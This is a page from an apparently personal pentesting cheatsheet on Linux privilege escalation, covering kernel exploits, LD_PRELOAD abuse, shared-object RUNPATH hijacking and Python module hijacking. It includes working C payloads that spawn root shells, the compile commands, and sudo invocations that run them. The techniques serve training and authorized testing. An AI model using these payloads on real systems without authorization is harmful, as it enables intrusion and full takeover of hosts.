📒
My Pentesting Cheatsheet
  • Home
  • Commands Only Summary
    • Some other cool websites
  • Preparation
    • Documents
    • Contract - Checklist
    • Rules of Engagement - Checklist
    • Contractors Agreement - Checklist for Physical Assessments
  • Information Gathering
  • Vulnerability Assessment
  • Pentesting Machine
  • Enumeration
    • NMAP Scan types explained
    • Firewall and IDS/IPS Evasion
  • Footprinting
    • Google Dorks
    • Samba (smb)
    • NFS
    • DNS
    • SMTP
    • IMAP/POP3
    • SNMP
    • MySQL
    • MSSQL
    • Oracle TNS
    • IPMI
    • SSH
    • RDP
    • WinRM
  • Web Information Gathering
    • Whois
    • DNS & Subdomains
    • Fingerprinting
    • Crawlers
    • Search Engine Discovery
    • Automating Recon
  • Vulnerability Assessment
  • File Transfers
    • Windows Target
    • Linux Target
    • Transferring Files with Code
    • Miscellaneous File Transfer Methods
    • Protected Files Transfer
    • Catching Files over HTTP/S (Nginx)
    • Living Off The Land
    • Evading Detection
  • Shells & Payloads
    • Reverse Shells + Bind + Web
  • Password Attacks
    • John the ripper
    • Remote password attacks
    • Password mutations
    • Password Reuse / Default Passwords
    • Windows Local Password Attacks
    • Linux Local Password Attacks
    • Windows Lateral Movement
    • Cracking Files
  • Attacking Common Services
    • FTP
    • SMB
    • SQL
    • RDP
    • DNS
    • Email Services
  • Pivoting, Tunneling, and Port Forwarding
    • Choosing The Dig Site & Starting Our Tunnels
    • Playing Pong with Socat
    • Pivoting Around Obstacles
    • Branching Out Our Tunnels
    • Double Pivots
    • Final considerations
  • Active Directory Enumeration & Attacks
    • Initial Enumeration
    • Sniffing out a Foothold
    • Sighting In, Hunting For A User
    • Spray Responsibly
    • Deeper Down the Rabbit Hole
    • Kerberoasting - Cooking with Fire
    • Access Control List (ACL)
    • Advanced Privilege Escalation in Active Directory: Stacking The Deck
    • Domain trusts
    • Domain Trusts - Cross Forest
    • Defensive Considerations
  • Using Web Proxies
  • Login Brute Forcing
  • SQL Injection Fundamentals
    • Mitigating SQL Injection
  • SQLMap Essentials
    • Building Attacks
    • Database Enumeration
    • Advanced SQLMap Usage
  • Cross-Site Scripting (XSS)
    • Prevention
  • File Inclusion
  • File Upload Attacks
    • Basic Exploitation
    • Bypassing Filters
    • Other Upload Attacks
    • Prevention
  • Command Injections
    • Exploitation
    • Filter Evasion
  • Web Attacks
    • HTTP Verb Tampering
    • Insecure Direct Object References (IDOR)
    • XML External Entity (XXE) Injection
    • GraphQL
  • Attacking Common Applications
    • Application Discovery & Enumeration
    • Content Management Systems (CMS)
    • Servlet Containers/Software Development
    • Infrastructure/Network Monitoring Tools
    • Customer Service Mgmt & Configuration Management
    • Common Gateway Interfaces
    • Thick Client Applications
    • Miscellaneous Applications
  • Privilege Escalation
    • Linux Privilege Escalation
      • Information Gathering
      • Environment-based Privilege Escalation
      • Service-based Privilege Escalation
      • Linux Internals-based Privilege Escalation
      • Recent 0-Days
      • Linux Hardening
    • Windows Privilege Escalation
      • Getting the Lay of the Land
      • Windows User Privileges
      • Windows Group Privileges
      • Attacking the OS
      • Credential Theft
      • Restricted Environments
      • Additional Techniques
      • Dealing with End of Life Systems
      • Windows Hardening
    • Windows (old page)
  • Documentation & Reporting
    • Preparation
    • Reporting
  • Attacking Enterprise Networks
    • Pre-Engagement
    • External Testing
    • Internal Testing
    • Lateral Movement & Privilege Escalation
    • Wrapping Up
  • Deobfuscation
  • Metasploit
    • msfvenom
  • Custom compiled files
  • XSS
  • Azure AD (Entra ID)
Powered by GitBook
On this page
  • Kernel Exploits
  • Kernel Exploit Example
  • Shared Libraries
  • LD_PRELOAD Privilege Escalation
  • Shared Object Hijacking
  • Python Library Hijacking
  • Wrong Write Permissions
  • Library Path
  • PYTHONPATH Environment Variable
  1. Privilege Escalation
  2. Linux Privilege Escalation

Linux Internals-based Privilege Escalation

PreviousService-based Privilege EscalationNextRecent 0-Days

Last updated 2 months ago

Kernel Exploits

Kernel level exploits exist for a variety of Linux kernel versions. A very well-known example is (CVE-2016-5195). These leverage vulnerabilities in the kernel to execute code with root privileges. It is very common to find systems that are vulnerable to kernel exploits. It can be hard to keep track of legacy systems, and they may be excluded from patching due to compatibility issues with certain services or applications.

Privilege escalation using a kernel exploit can be as simple as downloading, compiling, and running it. Some of these exploits work out of the box, while others require modification. A quick way to identify exploits is to issue the command uname -a and search Google for the kernel version.

Kernel exploits can cause system instability so use caution when running these against a production system.

Kernel Exploit Example

Let's start by checking the Kernel level and Linux OS version.

uname -a

Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

We can see that we are on Linux Kernel 4.4.0-116 on an Ubuntu 16.04.4 LTS box. A quick Google search for linux 4.4.0-116-generic exploit comes up with exploit PoC. Next download, it to the system using wget or another file transfer method. We can compile the exploit code using and set the executable bit using chmod +x.

gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit

Next, we run the exploit and hopefully get dropped into a root shell.

./kernel_exploit

Finally, we can confirm root access to the box.

whoami

The target system has been updated, but is still vulnerable. Use a kernel exploit created in 2021.

Shared Libraries

It is common for Linux programs to use dynamically linked shared object libraries. Libraries contain compiled code or other data that developers use to avoid having to re-write the same pieces of code across multiple programs. Two types of libraries exist in Linux: static libraries (denoted by the .a file extension) and dynamically linked shared object libraries (denoted by the .so file extension). When a program is compiled, static libraries become part of the program and can not be altered. However, dynamic libraries can be modified to control the execution of the program that calls them.

There are multiple methods for specifying the location of dynamic libraries, so the system will know where to look for them on program execution. This includes the -rpath or -rpath-link flags when compiling a program, using the environmental variables LD_RUN_PATH or LD_LIBRARY_PATH, placing libraries in the /lib or /usr/lib default directories, or specifying another directory containing the libraries within the /etc/ld.so.conf configuration file.

Additionally, the LD_PRELOAD environment variable can load a library before executing a binary. The functions from this library are given preference over the default ones. The shared objects required by a binary can be viewed using the ldd utility.

ldd /bin/ls
	linux-vdso.so.1 =>  (0x00007fff03bc7000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)

The image above lists all the libraries required by /bin/ls, along with their absolute paths.

LD_PRELOAD Privilege Escalation

sudo -l
Matching Defaults entries for daniel.carter on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User daniel.carter may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/apache2 restart
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

We can compile this as follows:

gcc -fPIC -shared -o root.so root.c -nostartfiles

Finally, we can escalate privileges using the below command. Make sure to specify the full path to your malicious library file.

sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Shared Object Hijacking

Programs and binaries under development usually have custom libraries associated with them. Consider the following SETUID binary.

ls -la payroll

-rwsr-xr-x 1 root root 16728 Sep  1 22:05 payroll
ldd payroll

linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
readelf -d payroll  | grep PATH

 0x000000000000001d (RUNPATH)            Library runpath: [/development]

The configuration allows the loading of libraries from the /development folder, which is writable by all users. This misconfiguration can be exploited by placing a malicious library in /development, which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).

ls -la /development/

Before compiling a library, we need to find the function name called by the binary.

ldd payroll

linux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
./payroll 

./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

We can copy an existing library to the development folder. Running ldd against the binary lists the library's path as /development/libshared.so, which means that it is vulnerable. Executing the binary throws an error stating that it failed to find the function named dbquery. We can compile a shared object which includes this function.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 
gcc src.c -fPIC -shared -o /development/libshared.so

Executing the binary again should display the banner and pops a root shell.

./payroll

Python Library Hijacking

Python is one of the world's most popular and widely used programming languages and has already replaced many other programming languages in the IT industry. There are very many reasons why Python is so popular among programmers. One of them is that users can work with a vast collection of libraries.

In Python, we can import modules quite easily:

Importing Modules

#!/usr/bin/env python3

# Method 1
import pandas

# Method 2
from pandas import *

# Method 3
from pandas import Series

There are many ways in which we can hijack a Python library. Much depends on the script and its contents itself. However, there are three basic vulnerabilities where hijacking can be used:

  1. Wrong write permissions

  2. Library Path

  3. PYTHONPATH environment variable

Wrong Write Permissions

For example, we can imagine that we are in a developer's host on the company's intranet and that the developer is working with python. So we have a total of three components that are connected. This is the actual python script that imports a python module and the privileges of the script as well as the permissions of the module.

One or another python module may have write permissions set for all users by mistake. This allows the python module to be edited and manipulated so that we can insert commands or functions that will produce the results we want. If SUID/SGID permissions have been assigned to the Python script that imports this module, our code will automatically be included.

If we look at the set permissions of the mem_status.py script, we can see that it has a SUID set.

ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

So we can execute this script with the privileges of another user, in our case, as root. We also have permission to view the script and read its contents.

Python Script - Contents

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

So this script is quite simple and only shows the available virtual memory in percent. We can also see in the second line that this script imports the module psutil and uses the function virtual_memory().

So we can look for this function in the folder of psutil and check if this module has write permissions for us.

Module Permissions

:~$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Such permissions are most common in developer environments where many developers work on different scripts and may require higher privileges.

Module Contents

...SNIP...

def virtual_memory():

	...SNIP...
	
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

This is the part in the library where we can insert our code. It is recommended to put it right at the beginning of the function. There we can insert everything we consider correct and effective. We can import the module os for testing purposes, which allows us to execute system commands. With this, we can insert the command id and check during the execution of the script if the inserted code is executed.

Module Contents - Hijacking

...SNIP...

def virtual_memory():

	...SNIP...
	#### Hijacking
	import os
	os.system('id')
	

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Now we can run the script with sudo and check if we get the desired result.

Privilege Escalation

sudo /usr/bin/python3 ./mem_status.py

Success. As we can see from the result above, we were successfully able to hijack the library and have our code inside of the virtual_memory() function run as root. Now that we have the desired result, we can edit the library again, but this time, insert a reverse shell that connects to our host as root.

Library Path

In Python, each version has a specified order in which libraries (modules) are searched and imported from. The order in which Python imports modules from are based on a priority system, meaning that paths higher on the list take priority over ones lower on the list. We can see this by issuing the following command:

PYTHONPATH Listing

python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

To be able to use this variant, two prerequisites are necessary.

  1. The module that is imported by the script is located under one of the lower priority paths listed via the PYTHONPATH variable.

  2. We must have write permissions to one of the paths having a higher priority on the list.

Therefore, if the imported module is located in a path lower on the list and a higher priority path is editable by our user, we can create a module ourselves with the same name and include our own desired functions. Since the higher priority path is read earlier and examined for the module in question, Python accesses the first hit it finds and imports it before reaching the original and intended module.

In order for this to make a bit more sense, let us continue with the previous example and show how this can be exploited. Previously, the psutil module was imported into the mem_status.py script. We can see psutil's default installation location by issuing the following command:

Psutil Default Installation Location

pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...

From this example, we can see that psutil is installed in the following path: /usr/local/lib/python3.8/dist-packages. From our previous listing of the PYTHONPATH variable, we have a reasonable amount of directories to choose from to see if there might be any misconfigurations in the environment to allow us write access to any of them. Let us check.

ls -la /usr/lib/python3.8
total 4916
drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
...SNIP...

After checking all of the directories listed, it appears that /usr/lib/python3.8 path is misconfigured in a way to allow any user to write to it. Cross-checking with values from the PYTHONPATH variable, we can see that this path is higher on the list than the path in which psutil is installed in. Let us try abusing this misconfiguration to create our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.8 directory.

Hijacked Module Contents - psutil.py

#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')

In order to get to this point, we need to create a file called psutil.py containing the contents listed above in the previously mentioned directory.

It is very important that we make sure that the module we create has the same name as the import as well as have the same function with the correct number of arguments passed to it as the function we are intending to hijack. This is critical as without either of these conditions being true, we will not be able perform this attack. After creating this file containing the example of our previous hijacking script, we have successfully prepped the system for exploitation.

Let us once again run the mem_status.py script using sudo like in the previous example.

sudo /usr/bin/python3 mem_status.py

As we can see from the output, we have successfully gained execution as root through hijacking the module's path via a misconfiguration in the permissions of the /usr/lib/python3.8 directory.

PYTHONPATH Environment Variable

In the previous section, we touched upon the term PYTHONPATH, however, didn't fully explain it's use and importance regarding the functionality of Python. PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import. This is important as if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python's search functionality to a user-defined location when it comes time to import modules. We can see if we have the permissions to set environment variables for the python binary by checking our sudo permissions:

Checking sudo permissions

sudo -l 

Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

As we can see from the example, we are allowed to run /usr/bin/python3 under the trusted permissions of sudo and are therefore allowed to set environment variables for use with this binary by the SETENV: flag being set. It is important to note, that due to the trusted nature of sudo, any environment variables defined prior to calling the binary are not subject to any restrictions regarding being able to set environment variables on the system. This means that using the /usr/bin/python3 binary, we can effectively set any environment variables under the context of our running program. Let's try to do so now using the psutil.py script from the last section.

Privilege Escalation using PYTHONPATH Environment Variable

sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

In this example, we moved the previous python script from the /usr/lib/python3.8 directory to /tmp. From here we once again call /usr/bin/python3 to run mem_stats.py, however, we specify that the PYTHONPATH variable contain the /tmp directory so that it forces Python to search that directory looking for the psutil module to import. As we can see, we once again have successfully run our script under the context of root.

Let's see an example of how we can utilize the environment variable to escalate privileges. For this, we need a user with sudo privileges.

This user has rights to restart the Apache service as root, but since this is NOT a and the /etc/sudoers entry is written specifying the absolute path, this could not be used to escalate privileges under normal circumstances. However, we can exploit the LD_PRELOAD issue to run a custom shared library file. Let's compile the following library:

We can use to print the shared object required by a binary or shared object. Ldd displays the location of the object and the hexadecimal address where it is loaded into memory for each of a program's dependencies.

We see a non-standard library named libshared.so listed as a dependency for the binary. As stated earlier, it is possible to load shared libraries from custom locations. One such setting is the RUNPATH configuration. Libraries in this folder are given preference over other folders. This can be inspected using the utility.

The dbquery function sets our user id to 0 (root) and executing /bin/sh when called. Compile it using .

Many libraries are used in Python and are used in many different fields. One of them is . NumPy is an open-source extension for Python. The module provides precompiled functions for numerical analysis. In particular, it allows easy handling of extensive lists and matrices. However, it offers many other essential features, such as functions of random number generation, Fourier transform, linear algebra, and many others. Furthermore, NumPy provides many mathematical functions for working with arrays and matrices.

Another library is . Pandas is a library for data processing and data analysis with Python. It extends Python with data structures and functions for processing data tables. A particular strength of Pandas is time series analysis.

Python has , with many modules on board from a standard installation of Python. These modules provide many solutions that would otherwise have to be laboriously worked out by writing our programs. There are countless hours of saved work here if one has an overview of the available modules and their possibilities. The modular system is integrated into this form for performance reasons. If one would automatically have all possibilities immediately available in the basic installation of Python without importing the corresponding module, the speed of all Python programs would suffer greatly.

Dirty COW
this
gcc
LD_PRELOAD
GTFOBin
ldd
readelf
GCC
NumPy
Pandas
the Python standard library